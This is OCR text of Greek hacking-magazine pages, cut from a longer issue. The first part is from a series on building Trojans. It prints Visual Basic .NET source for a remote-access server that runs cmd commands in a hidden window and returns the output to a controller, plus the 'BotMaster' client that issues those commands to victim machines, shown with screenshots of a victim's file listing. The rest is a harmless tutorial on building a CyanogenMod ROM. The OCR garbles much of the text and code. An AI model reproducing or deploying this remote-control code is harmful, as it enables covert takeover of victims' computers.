encoding format. 


Dim readStream As New StreamReader(ReceiveStream, encode) 


Dim read(256) As Char 
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' Read 256 characters at a time. 
Dim count As Integer = readStream.Read(read, 0, 256) 
sWebHtmlResponse = " 
While count » 0 
"Dump the 256 characters on a string . 
Dim str As New [String](read, 0, count) 
sWebHtmlResponse += str 
count = readStream.Read(read, 0, 256) 
End While 


' Add a new line to the webResponse string. 


sWebHtmlResponse += ControlChars.Lf + ControlChars.Cr 


' Release the resources of stream object. 


readStream.Close() 


' Release the resources of response object. 


myWebResponse.Close() 


'Send the Html Response to the client in UTF-8 format. 
sendBytes - Encoding.UTF8.GetBytes(sWebHtmlResponse) 
netStream.Write(sendBytes, 0, sendBytes.Length) 


Catch ex As Exception 
‘Ops! An error occur, inform the client about it! 
sendBytes - Encoding.ASCII.GetBytes(ex.Message) 
netStream.Write(sendBytes, 0, sendBytes.Length) 


End Try 
End Sub 


Δεν πρὀκειται για κὠδικα-διαμάντι, nou ὁμοιό του δεν θα βρείτε πουθενά αλλού. 
Ωστόσο τη δουλειά του την κάνει αποτελεσµατικὀτατα. Κρατείστε αυτή την πρὀταση 
για μετά. Στο βάθος της κρύβεται η νοοτροπία ανάπτυξης των πιο σύγχρονων Tro- 
jans! Δείτε τώρα και τη συνάρτηση για την υλοποίηση των system commands: 


42 


Ηελέτη και κατασκευή Δούμειων ἵππων [Γμέρο 
MT 


FCA KAA A RK RA KK AK 


' Call a system command in the client's machine and echo the results. 


Shared Sub gotoSystemCommand(ByVal netStream As NetworkStream, ByVal sUrl 
As String) 


Dim sendBytes As [Byte]() 
Dim sCommandResults As String - Nothing 


Try 


Dim procStartInfo As New System.Diagnostics.ProcessStartInfo("cmd", 
"/c " & Convert.ToString(Command)) 


procStartInfo.RedirectStandardOutput = True 
procStartInfo.UseShellExecute = False 


procStartInfo.CreateNoWindow = True 


Dim proc As New System.Diagnostics.Process() 
proc.StartInfo = procStartInfo 

proc.Start() 

sCommandResults = proc.StandardOutput.ReadToEnd() 


'Send the result of the command to the client in UTF-8 format. 
sendBytes - Encoding.UTF8.GetBytes(sCommandResults) 
netStream.Write(sendBytes, 0, sendBytes.Length) 


Catch ex As Exception 
‘Oops! An error occur, inform the client about it! 
sendBytes - Encoding.ASCII.GetBytes(ex.Message) 
netStream.Write(sendBytes, 0, sendBytes.Length) 


End Try 
End Sub 


Στην πραγματικότητα, οι EVTOAEG εκτελούνται σε Eva (κρυφὀ) cmd.exe. Κάνοντας 
redirection Tou standard output, λαμβάνουμε τα αποτελέσµατα ano την εκτἐλεση 
κάθε εντολἠς ως τιµή της μεταβλητής scommandResults. Το περιεχόμενο αυτής της 
μεταβλητἠς αποτελεί και την απάντηση που αποστέλλεται στον client. Σε γενικὲς 
γραμμές, o server πρέπει να εἶναι μικρὸς, αποδοτικὀς KI ὁσο πιο ελαφρύς γίνεται. 
Επίσης, θα πρέπει va ἐχει ἑνα ὀνομα που να µην κινεἰ υποψίες (SEITE το πρὠτο μέρος 
της σειράς, στο τεύχος 021). 
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ΕΞ--ροοτ2 | Pot (8000 [$]  Whatto execute? 
O Http Request O System Command (6) Are you there? 


http://www.google.com 


Clear Tabs 


f Command: Use ? 
I'm here baby! 
Server Respond @ 8/8/2013 11:06:50 nu 


80.128 @ 8/8/2013 11:06:25 πμ... 
there? 


Εικόνα 2 
Eiuai o BotMaster. Ελέγχω τα συστἠματά σας! 


Ανάλυση του Client - BotMaster 


O BotMaster εἶναι αυτὸς που κινεἰ τα νήματα. Πρὀκειται για το πρὀγραμμα nou 
χρησιμοποιεί o επιτιθέµενος yia να διαχειρίζεται και να ελἐγχει απομακρυσμένα 
το σύστημα του εκάστοτε θύματος. Στην εικὀνα 2 βλέπουμε το control panel του 
προγράμματος µας, στην περίπτωση nou ἐχει συνδεθεἰ µε δύο servers (θύματα). 


To περιβάλλον του client χωρίζεται σε δύο τμήματα: 


ο στο πάνω μέρος ο επιτιθἐµενος δίνει τις εντολὲς του. Ano εδὠ καθορἰζονται τα 


εξής: 

O Η διεύθυνση IP και η θύρα Tou server, στον onoio θα εκτελεστεί η τρἐχουσα 
εντολή. 

O Ο τύπος της προς εκτἐλεση εντολής: http request, system command ἡ ping 
request. 

O To URL, σε περίπτωση nou ἐχουν επιλεγεἰ Ta HTTP requests. 

O H εντολἠ, στην περίπτωση nou xouv επιλεγεὶ τα system commands. 


ο To κάτω μέρος χρησιμοποιείται για την εμφάνιση των πληροφοριών που στέλνει 
ο server, αφού εκτελέσει τις EVTOAEG του επιτιθέµενου. Εδὠ εμφανἰζονται τρία 
tabs: 


οἱ 
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Το Baby Response περιέχει την EVTOAN που στάλθηκε, καθὼς και την 
απάντηση του εκάστοτε server. 
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Ο To Server Response περιέχει τα αποτελέσµατα των system commands nou 
εκτελέστηκαν στο σύστημα του θύματος. 


O To HTML Result περιέχει τα αποτελέσµατα των HTTP requests που 
εκτελέστηκαν στο σύστημα του θύματος. 


O κὠδικας rou client εἶναι εξαιρετικά απλὀς. Τα πάντα ξεκινούν όταν ο χρήστης 
πατήσει το κομβίον "Action!". 


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As 
System.EventArgs) Handles Button1.Click 


Dim tcpClient As New System.Net.Sockets.TcpClient() 
Dim sInformation As String 


Dim sClientsCommand As String 


‘Log the request 

sInformation = "Client Requests @ " + DateTime.Now.ToString + "..." 
ListBox1.Items.Add(sInformation) 

Application.DoEvents() 


Clear the result tabs 
RichTextBox1.Clear() 
WebBrowseri.Navigate("about:blank") 


Try 
tcpClient.Connect(TextBox IP.Text, NumericUpDown Port.Value) 


Dim networkStream As Net.Sockets.NetworkStream - tcpClient. 
GetStream() 


If networkStream.CanWrite And networkStream.CanRead Then 
Dim sendBytes As [Byte]() = Nothing 
Dim s As String 
Dim i As Int32 
Dim bytes(tcpClient.ReceiveBufferSize) As Byte 


If rb handshake.Checked - True Then 
sClientsCommand - "1.Is anybody there?" 
' Inform the user about the response time 
ListBox1.Items.Add(sInformation) 
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sendBytes = Encoding.ASCII.GetBytes(sClientsCommand) 
networkStream.Write(sendBytes, 0, sendBytes.Length) 
' Read the NetworkStream into a byte buffer. 


networkStream.Read(bytes, 0, CInt(tcpClient. 
ReceiveBufferSize)) 


' Output the data received from the host to the listbox. 

S = Space(5) + Encoding.ASCII.GetString(bytes) 
ListBox1.Items .Add(s) 

sInformation = "Server Respond @ " + DateTime.Now. ToString 
ListBox1. Items .Add(sInformation) 


ElseIf rb_http.Checked Then 


"Send the request to the server. 
ο 2 ext bh OxXaUR Eee xis 
sClientsCommand = "2.http command: [" + TextBox_URL.Text + "]" 


' Inform the user about the response time 


sInformation = " [+] Command: "+ sClientsCommand + "@" + 
DateTime.Now.ToString + "..." 


ListBox1.Items .Add(sInformation) 


sendBytes = Encoding.ASCII.GetBytes(s) 
networkStream.Write(sendBytes, @, sendBytes.Length) 


"Read the Packet: The HTML page. 

' Loop to receive all the data sent by the server. 

gem 

i = networkStream.Read(bytes, 0, bytes.Length) 

While (i <> 0) 
' Translate data bytes to a UTF8 string. 
S += System.Text.Encoding.UTF8.GetString(bytes, ©, i) 
i - networkStream.Read(bytes, 0, bytes.Length) 

End While 


' Inform the user about the response time 


sInformation = "Server Respond @ " + DateTime.Now.ToString 
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ListBox1.Items.Add(sInformation) 


Update the ritch-text with the HTML response. 
RichTextBox1.Text = s 


Write the HTML contents to a file and force browser to read it. 


Using sw As StreamWriter = New StreamWriter("CurrentReadPage. 
htm", False, System. Text.Encoding.GetEncoding("UTF-8") ) 


sw.Write(s) 
sw.Close() 


End Using 


Dim sCurrentFilePath As String = Environment. 
CurrentDirectory() 


sCurrentFilePath += "\CurrentReadPage.htm" 


WebBrowser1.Navigate(sCurrentFilePath) 


ElseIf rb_SysCmd.Checked Then 


MessageBox.Show("System Commands Not Implemented yet!", "Ops 
sorry!", MessageBoxButtons.OK, MessageBoxIcon. Information) 


' Send the request to the server. 
S = "3" + TextBox SysCmd.Text 


sClientsCommand = "3.system command: [" + TextBox SysCmd.Text 
+ wyu 


' Inform the user about the response time 


sInformation = " [+] Command: "+ sClientsCommand + "@" + 
DateTime.Now.ToString + "..." 


ListBox1.Items.Add(sInformation) 


sendBytes - Encoding.ASCII.GetBytes(s) 
networkStream.Write(sendBytes, 0, sendBytes.Length) 
' Read the NetworkStream into a byte buffer. 


networkStream.Read(bytes, 0, CInt(tcpClient. 
ReceiveBufferSize)) 


' Output the data received from the host to the listbox. 
S = Space(5) + Encoding.ASCII.GetString(bytes) 
ListBox1.Items.Add(s) 
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sInformation = "Server Respond @ " + DateTime.Now.ToString 
ListBox1.Items.Add(sInformation) 


Else 


MessageBox.Show('You have select "Http Request" or 
"System Command" in the Radio Button above!", "Heloooo!", 
MessageBoxButtons.OK, MessageBoxIcon.Information) 


End If 
Else 
If Not networkStream.CanRead Then 
ListBox1.Items.Add('Fail to write data to the stream.") 
ElseIf Not networkStream.CanWrite Then 
ListBox1.Items.Add("Fail to read data from the stream.") 
tcpClient.Close() 
End If 
ΕΠΑ Tf 
Catch ex As Exception 
ListBox1.Items.Add(ex.Message) 
End Try 


End Sub 


Συμπεράσματα 


H λογική των πιο πρὀσφατων Trojans δεν εἶναι να χρησιμοποιούν κάποιο 0-day at- 
tack ἡ κάποια ἄλλη αδυναμία, η οποία θα μπορούσε ava πάσα στιγµἠ να διορθωθεί 
µε patch. Τα μοντέρνα συστήµατα επἰθεσης δεν βασίζονται τόσο στις αδυναμίες 
των προγραμμάτων και των υπηρεσιών, αλλά στην αδυναμία των ανθρώπων. Τόσο 
TO ZeuS, ògo κι ἄλλα τἐρατα που βγήκαν μετὰ τη δημοσιοποίηση του κὠδικά του, 
στηρἰζονται στο λεγόμενο "user trust". Ουσιαστικά, υποδύονται κάποια αθώα 
εφαρμογἠ ἡ υπηρεσία και δεν καταφέρνουν μόνο va ξεγελάσουν το θύμα, αλλά 
και να εγκατασταθούν µε την εὐνοιά του! Παλαιά κρασιὰ σε νέα μπουκάλια; (Βλέπε 
τεχνικὲς CSRF, Cross Site Request Forgery.) Κάπως ἐτσι ἐχουν τα πράγματα. To 
αποτέλεσµα ὁμως µπορεἰ να εἶναι πολύ πιο τρομακτικὀ. 


Επιστρέφοντας στο θέµα µας, το κύριο ερὠτημα εἶναι αν µπορεἰ κανεὶς va φτιάξει 
ἑνα Trojan (ἡ ακόµα χειρότερα Eva RAT) βασιζόμενος σε ooa εἰδαμε. H απάντηση 
εἰναι καταφατικὴ! Όποιος διαβάζει τακτικἀ το deltaHacker, εἶναι βέβαιο ὁτι έχει όλα 
τα κομμάτια του πάζλ για να πετύχει κάτι τέτοιο. Ορισμένα κομμάτια βρἰσκονται στα 
τρία ἄρθρα yia την κατασκευἠ Trojans (τεύχη 021, 022 και 024), ενὠ κάποια άλλα 
βρίσκονται σε παλιότερα τεύχη (βλέπε buffer overflow, client side attacks k.An.). 
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IP Address [ugeseaeeal 28 Pot (8000 [$] Whatto execute? 
Http Request 


Baby Response | Server Response | Html Results | 


Volume in drive C has no label. 
Volume Serial Number is 4031-222C 


Directory of c:\imp Εικόνα 3 


Ἀραγε, τι va περιέχει ο τρέχων 

08/08/2013 11:20AM <DIR> E κατάλογος στο σύστημα του θύματος; 
08/08/2013 11:20AM <DIR> - Αφού στείλαµε τη OXETIKH εντολή 
08/08/2013 11:02 ΑΜ 23.040 TCPSever.exe στον server, ανοίξαµε το tab ονόματι 
11/13/2010 06:58 ΡΜ 61,440 test.exe Server Response yia να δούμε ra 
2 File(s) 84,480 bytes αποτελέσµατα... 


2 Dir(s) 25,049,255,936 bytes free 


Περιττό va πούμε OT! το πρὀγραμμα nou παρουσιάσαµε στο ἀάρθρο εἶναι μόνο η 
ζύμη. Όσοι κατέχουν την τἐχνη του ζυμώματος, θα μπορέσουν να φτιάξουν άνετα 
ἑνα ωραιότατο Ψωμί — για να µην πούμε ψωμιά. Kal µια τελευταία διευκρίνηση 
στους επικριτὲς της απόλυτης διαφάνειας: Δεν προσπαθούμε να σας ωθήσουμε va 
φτιάξετε εργαλεία επίθεσης. Αυτό GAAWOTE το κάνει το darknet, εδώ και πολλά 
χρόνια. Προσπαθούµε μόνο να σας δείξουμε nog φτιάχνονται και noc λειτουργούν, 
ώστε να αναπτύξετε τα κατάλληλα αντισώματα. 


Εικόνα 4 
O θύτης μπορεί va εκτελέσει απὀ πολύ απλές EVTOAEG μέχρι apkerá σύνθετες και 
προχωρημένες, όπως, N.X., εἶναι η απενεργοποίηση rou firewall στα Windows XP. 
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Oa χτίσουμε τη δικἠ µας εκδοχἠ του Android, βασιζόμενοι στο CyanogenMod. 
Με αυτὀν τον τρὀπο θα επεκτεῖνουμε τη λειτουργικότητα της συσκευἠς µας, ενώ 
ταυτόχρονα θα αναβαθµίσουμµε και το σύστημα! Παρακολουθείστε τις νέες µας 
περιπέτειες κι ετοιμαστείτε yia τις δικές σας. 


ικό σας Android, µε ayánn and το CuanogenMod ! 
LLLI 


Στο τεύχος 022 εἰδαμε noc μπορούμε va TPONONOINGOUHE το λογισμικὀ της συσκευ- 
Ns µας και τελικά να φτιάξουμε το δικὀ µας Android ROM. Πα αυτή την εργασία 
βασιστήκαμε αποκλειστικἀ στον πηγαίο κὠδικα Tou Android, τον οποίο ζητήσαμε 
ano την κατασκευάστρια εταιρεία της συσκευἠς. O λὀγος που μπήκαμε σε GUTH τη 
διαδικασία, EKTOG απὀ τη χαρά της επέµβασης ἦταν διότι θέλαμε να προσαρµόσου- 
µε ορισμένες πλευρὲς του λειτουργικού και va αφαιρἐσουµε προγράμματα, ypa- 
φικἀ και άλλες λειτουργίες που τις θεωρούσαμε άχρηστες. Ολοκληρώνοντας την 
εργασἰα µας ἡμασταν αρκετά ευχαριστημένοι. Το σύστημα ἦταν πιο ελαφρύ και η 
συσκευἠ συμπεριφερόταν καλύτερα! Βεβαίως, η διαδικασία nou μελετήσαμε EXE! κι 
ἑνα μειονέκτημα: Eipaore υποχρεωμένοι να μείνουμε για πάντα στη συγκεκριμένη 
ἐκδοση rou Android, αφού δεν μπορούμε va την αναβαθµίσουµε. Στο napóv άρθρο 
θα παρουσιάσουμε µια εναλλακτική λύση yia va πραγµατοποιήσουµε όσες αλλαγές 
θέλουμε στο Android της συσκευἠς µας και, ταυτόχρονα, να διατηρήσουμε τη õu- 
νατότητα αναβάθμισης! Αυτή τη φορὰ, λοιπὀν, θα βασιστούμε σε µια ἄλλη διανοµἠ 
του Android, η οποία ονομάζεται CyanogenMod. Eipaore βέβαιοι OT! Ooo! ασχολεἰστε 
µε ro Android θα την ἐχετε ξανακούσει. Όπως και να χει, παϊζοντας μαζί της θα την 
γνωρίσουμε ὁλοι. 


Η διαδικασία 


Σε γενικὲς γραμμὲς, αφού κατεβάσουµε τον κὠδικα του CyanogenMod, θα προσθέ- 
coupe τους drivers κι ὀποια ἄλλα αρχεία απαιτούνται για τη σωστή λειτουργία της 
συσκευἠς µας. Ωστόσο, πριν χτίσουμε το δικὀ µας Android ROM, θα κατασκευάσου- 
µε και θα εγκαταστήσουµε στη συσκευἠ το λεγόμενο ClockWordMod. Με τη βοήθειά 
TOU θα μπορέσουμε να ολοκληρώσουμε την αποστολἠ µας ευκολότερα, αφού θα µας 
βοηθήσει τόσο στην τελικἠ εγκατάσταση, ὁσο και στο debugging. 


Εμεὶς εργαστἠκαµε σε Eva κινέζικο tablet (JXD 57300), που το τελευταίο διάστη- 
μα ἐχουμε μετατρέψει σε πειραματὀζωο. Όπως αντιλαμβάνεστε, τα βήματα nou θα 
παρουσιάσουμε, ὁπως επἰσης τα εμπόδια και οι λύσεις που δώσαμε, αφορούν στη 
συγκεκριμένη συσκευἠ και μόνο. Ωστόσο εἰμαστε σίγουροι ὁτι av κατανοήσετε τη 
λογική µε την οποία εργαστἠκαµε θα καταφέρετε να επαναλάβετε τη διαδικασία για 
σχεδὸν οποιαδήποτε ἄλλη συσκευἠ. Με την ευκαιρία, σημειώστε OT! θα ἦταν καλὸ 
va πειραματιστεἰτε κι εσεἰς σε µια συσκευἠ παρόμοιας φιλοσοφίας: Ἑνα κινέζικο και 
σχετικἁ anAoiko tablet ἡ smartphone. Οι συσκευὲς high-end, που προέρχονται ano 
γνωστούς και μεγάλους κατασκευαστές, ενσωματώνουν κλειδώματα ἡ και διάφορες 
τεχνολογίες κρυπτογράφησης, nou περιπλἐκουν και δυσκολεύουν σε µεγάλο βαθμό 
τις επεμβάσεις αυτού του εἰδους. 


Προετοιμασία 


Ξεκινάμε την περιπἑτειἀ µας συγκεντρώνοντας OOO το δυνατὸν περισσότερες NAN- 
ροφορἰες μπορούμε για τη συσκευἠ µας. Το σημαντικότερο εἶναι να μάθουμε σε 
ποιο SoC (System On a Chip) βασίζεται, καθώς και το αν υπάρχουν ἆλλα tablets ἡ 
smartphones που χρησιμοποιούν τον ἰδιο εγκέφαλο. Το JXD 57300 χρησιμοποιεί το 
Amlogic AML8726-MX και µε µια αναζήτηση στο δίκτυο διαπιστώσαμε OT! Χρησιµο- 
ποιείται ano αρκετά διαφορετικά tablets, όπως κι ano μερικὰ TV-sticks! Στην αναζἠ- 
τηση συγγενικὠν συσκευών, πρέπει να εστιάσουµε σε εκείνες που υποστηρίζονται 
ἠδη ano ro CyanogenMod. Ἐτσι, θα µπορέσουµε αργότερα να βρούμε και αρκετούς 
drivers, οι οποίοι απαιτούνται για την προσαρµογἠ του CyanogenMod στη συσκευἠ 
μας. 
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Διαλέξαμε ro JXD 57300 γιατί Exel σχετικἀ απλὀ hardware και κυρίως γιατί αυτὀ εἰχαμε 
στη διἀθεσή µας! Εξάλλου, κανένας άλλος δεν εἶχε ασχοληθεί μαζί του... Θα ήταν κρίμα 
av χόναµε την ευκαιρία να αποκτήσουμε εμείς τη δόξα :) 


ΑἹ 


Το CyanogenMod υποστηρίζει «επίσημα” λίγες, 
σχετικά, συσκευές. Παρ’ όλα αυτά, χάρη στον Open 
Source χαρακτήρα του μπορούμε va το περάσουμε 
σε οποιαδήποτε συσκευή θέλουμε. Αυτή τη στιγµή 
εἶναι το διασημότερο after market firmware yia 
cUOKEUÉG µε Android! 
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Κάτι ακόμα που θα χρειαστούμε εἶναι 
ο πηγαίος κὠδικας του εργοστασιακού 
Android που τρέχει η συσκευή. Σε αυτό 
το πακέτο, βλέπετε, θα βρούμε ορισμέ- 
νους drivers που ενδέχεται να µη βρούμε 
αλλού. Επιπρόσθετα, θα μπορέσουμε va 
τσεκάρουµε ἡ και να αντιγράψουµε πολ- 
λές, κρίσιμες ρυθμίσεις. Όπως αναφέ- 
pape και στο σχετικὀ άρθρο στο τεύχος 
022, τον κὠδικα για το λειτουργικὀ της 
συσκευἠς µας δεν θα τον βρούμε να κυ- 
κλοφορεί στο δίκτυο. Θα πρέπει να τον 
ζητήσουμε απὀ τον κατασκευαστή, OTEA- 
νοντας éva OXETIKO email στο support 
της εταιρίας. 


Τέλος, πριν ξεκινήσουμε την εργασία 
μας θα χρειαστούμε και Eva σύστημα µε 
Linux. Εμείς χρησιμοποιήσαμε µια εικονι- 
κὴ μηχανὴ, στην οποία εγκαταστήσαμε 
το τελευταίο Ubuntu. Ουσιαστικά, στἠ- 
caue Eva περιβάλλον πανομοιότυπο µε 
EKEIVO nou εἶχαμε χρησιμοποιήσει στο 


Τα δικό σας Android, µε αγάπη από το CyanogenMod! 
ML 


τεύχος 0221. Επιγραμµατικἀ, να θυμίσουμε ὁτι στο εν λόγω σύστημα ἐπρεπε va 
εγκαταστήσουµε τη Java, καθώς και τα εργαλεἰα που απαιτούνται για τη µεταγλώτ- 
TION ενός συστήματος Android. Πα το σκοπὀ αυτό εκτελἐσαµε τα ακόλουθα: 


$ sudo add-apt-repository ppa:webupd8team/java 
$ sudo apt-get update 
$ sudo apt-get install sun-java6-jdk 


$ sudo apt-get install git gnupg flex bison gperf build-essential zip 
curl libc6-dev libncurses5-dev:i386 x11proto-core-dev libx11-dev:i386 
libreadline6-dev:i386 libgli-mesa-glx:i386 libgli-mesa-dev g++-multilib 
mingw32 tofrodos python-markdown libxml2-utils xsltproc zlibig-dev:i386 


1. . Πιστεύουμε ὁτι μετά and τόσες αναφορέἑς, ξέρετε πολύ καλά για ποιο άρθρο μιλάμε :Ρ 


NOVO/ 
FIf ll 


To Ainol Elf II βασίζεται στα ἰδια ακριβώς κυκλώματα που 
βασίστηκε kai η δικἠ µας συσκευή. Έτσι, yia να χτίσουμε 
τη δική µας εκδοχἠ του CyanogenMod για To JXD 57300, 

θα στηριχτούµε στα αρχεία rou Elf II. 
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CyanogenMod και device drivers 


Έχοντας ετοιμάσει το σύστημα στο οποίο θα εργαστούμε, μπορούμε να ξεκινήσουμε 
τη λήψη του πηγαίου κὠδικα του CyanogenMod. Πα το σκοπὸ αυτὸ θα χρειαστούμε 
το εργαλείο repo: 


$ wget https://dl-ssl.google.com/dl/googlesource/git-repo/repo > ~/bin/ 
repo 
chmod a+x ~/bin/repo 


Τώρα μπορούμε επιτἑλους va κατεβάσουμε το CyanogenMod. H ἐκδοση pe την onoia 
ασχοληθήκαμε εἶναι η 10.1 και βασίζεται στο Android 4.2. Σημειώστε ori To tablet 
μας τρέχει Android 4.1 και η επιλογἠ του CyanogenMod που βασίζεται σε nio npo- 
χωρημένο Android ἦταν μᾶλλον ριψοκίνδυνη. Όπως &&pere, ὅμως, τα δύσκολα και 
τα ριψοκίνδυνα µας αρέσουν :) Ἑτσι, χωρὶς δεύτερη σκέψη ξεκινήσαμε τη λήψη του 
κώδικα... 


$ mkdir cm10.1 

$ cd cm10.1/ 

$ repo init -u git://github.com/CyanogenMod/android.git -b cm-10.1 
$ repo sync 


To προγραμματάκι repo θα κατεβάσει αυτόματα óÀa τα απαραίτητα αρχεία. H διάρ- 
θρωση rou κὠδικα του CyanogenMod εἶναι πανομοιότυπη µε εκείνη του επἰσημου 
Android. Έτσι, μέσα στον κατάλογο cm10.1 δημιουργήθηκε η γνώριµη δοµἠ KaTa- 
λόγων, HE TOV πηγαἰο κώδικα των επιµέρους τμημάτων του λειτουργικού. Σημειώστε 
ότι η λήψη διήρκεσε αρκετή opa, την οποία φροντίσαμε να αξιοποιήσουμε κατάλλη- 
λα. Συγκεκριµένα, ανατρέξαµε στις συσκευὲς nou εἰχαμε εντοπἰσει νωρίτερα και Οι 
οποίες ¿xouv παρεμφερὲς hardware µε εκεἰνο του δικού µας tablet. Ano αυτές eni- 
AEEGHE εκεἰνη µε τις περισσότερες ομοιότητες, η οποία ταυτόχρονα υποστηρίζεται 
ano ro CyanogenMod. Στην περἱπτωσἠ µας ἦταν ro tablet Ainol Elf 2. Σημειώστε ori 
σε αυτή την αναζήτηση στηριχτήκαµε oro Google, καθὼς δεν υπάρχει κανένα site 
που να συγκεντρώνει τις OXETIKEG πληροφορίες. Αυτό σημαίνει ὁτι σ΄’ GUTO το στάδιο 
απαιτείται αρκετἠ υπομονή. 


Γύρω ano τα TV-sticks µε το Amlogic AML8726-MX έχει αναπτυχθεί µια αρκετά μεγάλη κοινότητα χρη- 
στώὠν. Τα περισσότερα απὀ aurá τρέχουν καθαρό Linux κι Ox! Android, αλλά η κοινότητά τους µας βοήθη- 
σε να κατανοήσουμε σε βάθος τη λειτουργία του σχετικού Linux kernel! 
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Τα αρχεία rou Elf 2 για το CyanogenMod ra εντοπἰσαμε (και πάλι) στο GitHub µε τη 
βοήθεια του Google. Κάπου εδώ πρέπει να πούμε Ori ἦταν ανεβασμένα ano διάφο- 
ρους χρήστες και δεν µπορέσαµε va εντοπἰσουμε ποιος τα ανέβασε πρὠτος ἡ ano 
πού προέρχονται. Επομένως, εἶναι δύσκολο να δώσουμε το απαιτούμενο credit. Ano 
τη σελίδα rou GitHub κατεβάσαμµε ολόκληρο το σχετικὀ repository σε µορφή ZIP. 
Στη συνέχεια αποσυµπιἑσαµε το συγκεκριµένο πακέτο µέσα στον κατάλογο cm10.1/ 
device. Ολοκληρώνοντας τις παραπάνω δύο εργασίες, εἰχαμε αποκτήσει τον πηγαίο 
κώδικα του CyanogenMod καθώς και (σχεδὀν) όλους τους drivers για τη συσκευἠ 


μας. 


H πρώτη μεταγλώττιση! 


Πριν προχωρήσουμε πρέπει να βεβαιωθούμε OT! όλα λειτουργούν σωστά. Π’ αυτὀ το 
σκοπὸ αρκεἰ να κάνουμε µια δοκιμαστική μεταγλώττιση του CyanogenMod. Προκει- 
μένου να ξεκινήσουμε τη διαδικασία, μπήκαμε στον κατάλογο µε τον nnyaio κὠδικα 
(cm10.1) κι εκτελἐσαµε τα ακόλουθα: 


$ source build/envsetup.sh 
$ lunch cm elf2-userdebug 
$ mka 


Η πρὠτη "εντολή" ενημερώνει το σύστημα µε ro path των διαφόρων εργαλείων 
που συνοδεύουν τον πηγαίο κὠδικα του CynogenMod. Με ro lunch επιλέγουμε τη 
συσκευἠ για την οποία θα χτίσουμε το σύστημα, ενώ µε την εκτέλεση του mka ξε- 
κινάει η μεταγλώττιση! Παρεμπιπτόντως, για να μάθουμε τις επιλογἑς που μπορεί va 
δεχτεί To lunch, αρκεἰ να το τρἐξουµε xopic καμία παράμετρο και να δούμε τα µη- 


Y softwin - File Manager e PIS 
File Edit View Go Help 
«Ἡ [59 pe {81 /home/giannoug/S7300B/out/target/product/softwin/ E3 
DEVICES 

— ua ω a | 

ΕἸ Floppy Disk obj root system boot.img 
PLACES — 

@ giannoug ie Ὃς | -- 

ΕΙ Desktop " : eem 

clean steps.mk kernel previous build co ramdisk.img 

É Trash nfig.mk 

NETWORK 


[6] Browse Network 


9 items (9,0 MB), Free space: 182,9 GB 4 
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νύματα nou θα εμφανίσει. Εναλλακτικά, μπορούμε va ρἰξουμε pia ATIC στο αρχείο 
vendorsetup.sh, nou βρίσκεται στον κατάλογο cm10.1/device. 


Topa χρειάζεται και πάλι λίγη υπομονή. Πρέπει να περιμένουμε να τελειώσει η pE- 
ταγλὠττιση κι GUTO ενδέχεται va διαρκέσει αρκετἠ opa. Αν η δοκιμή αποτύχει, δεν 
πρέπει va ανησυχήσετε. Kata πάσα πιθανότητα θα ευθύνεται κάποιος and τους 
drivers. Εξάλλου, ακριβώς αυτό πάθαμµε κι εμείς! Στην nepinroor| µας, το πρόβλημα 
σχετιζόταν µε ἑναν driver για το HDMI. Πα να ξεπεράσουμε αυτόὀ το εμπόδιο, avoi- 
čape ro makefile που βρίσκεται στον κατάλογο cm10.1/device κι αφαιρἐσαµε την 
αναφορά στον προβληματικὀ driver. Αμέσως μετὰ ξεκινήσαμε τη μεταγλώττιση ano 
την αρχή, δίνοντας τα εξής: 


$ mka clean 
$ mka 


Όπως αντιλαμβάνεστε, µε αυτὸν rov τρὀπο αφαιρέσαµε Evav driver που ενδέχεται 
να χρειάζεται για τη σωστἠ λειτουργία της συσκευής. Ωστόσο auró αποτελεἰ Eva 
πρόβλημα nou θα αντιμετωπίσουμε αργότερα. lia την opa θἐλουµε να τσεκάρουµε 
μόνο αν υπάρχει κἄποιο γενικότερο κι ενδεχομένως πιο σοβαρό πρὀβλημα µε τον 
κώδικα. 


ClockWorkMod recovery 


To πρὠτο κομμάτι λογισμικού που NPENE! va ετοιµάσουμε και να περάσουμε OTN συ- 
σκευἠ εἶναι το ClockWorkMod ἡ απλά CWM. Το CWM αποτελεί µια μικροσκοπική EK- 
doxn του Android, που ξεκινά μόνο ὀταν θέτουµε τη συσκευἠ σε recovery mode και 
περιλαμβάνει Eva μενού βασικὠν λειτουργιών (λήψη backup, αναβάθµιση συσκευἠς 
K.O.K.). Με τη βοήθεια του CWM θα εγκαταστήσουµε TO 


CyanogenMod, ενώ θα απλοποιηθεἰ και η διαδικασία του debugging! 


i recovery.fstab (~/Desktop) - gedit -+x 
File Edit View Search Tools Documents Help 
[ Di TEX < P. 


1# mount point fstype device device2 


2 /bootloader mtd bootloader 
3 /logo mtd logo 
4 /aml logo mtd aml logo 
5 [recovery mtd recovery 
6 /boot mtd boot 
7 [system ext4 /dev/block/system 
8 /cache ext4 /dev/block/cache 
9 /data ext4 /dev/block/data 
10 /emmc vfat [dev /block/media 
1 /sdcard vfat /dev/block/cardblksdi ^ /dev/block/cardblksde| 
Plain Text v Tab Width: 8 v Ln 11, Col 78 INS 


4 


To Ainol Elf II χρησιμοποιεί παλιότερο kernel και διαφορετικὲς κατατμή- 
σεις. Έτσι, χρειάστηκε αρκετή opa μέχρι να βρούμε τις σωστές συσκευές. 
Δείτε την τελικἠ µορφή rou recovery.fstab που φτιάξαμε. 
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E BoardConfig.mk (-/Desktop) - gedit - ο κ 
File Edit View Search Tools Documents Help 


|j BoardConfig.mk x | 


95 BOARD EGL NEEDS LEGACY ΕΒ :- true 

96 # http://review. cyanogenmod. org/#/c/28005/ 

97 BOARD EGL CFG :- device/zenithink/c97/egl.cfg 
98 USE OPENGL RENDERER :- true 

99 ENABLE WEBGL :- true 

100 BOARD USE SKIA LCDTEXT :- true 

101 

102 TARGET BOOTANIMATION PRELOAD :- true 

103 

104 TARGET USERIMAGES USE EXT4 :- true 

105 BOARD BOOTIMAGE PARTITION SIZE :- 8225280 

106 BOARD SYSTEMIMAGE PARTITION SIZE :- 939524096 
107 BOARD USERDATAIMAGE PARTITION SIZE :- 939524096| 
108 

109 TARGET BOOTANIMATION NAME :- horizontal-1024x600 
110 

111 #Audio 

112 TARGET PROVIDES LIBAUDIO :- true 

113 COMMON GLOBAL CFLAGS += -DMRO AUDIO BLOB 


"TE 


Makefile ~ —— TabWidth: 8 v —  Ln107,Col48 INS 


4 


Κατὰ την τελικἠ μεταγλώττιση του CyanogenMod πρέπει να δώσουμε 
τα σωστά μεγέθη των κατατμήσεων, ὥστε τα αντίστοιχα images va 
έχουν (επίσης) το σωστό μέγεθος. Av τα μεγέθη εἶναι μεγαλύτερα, ra 
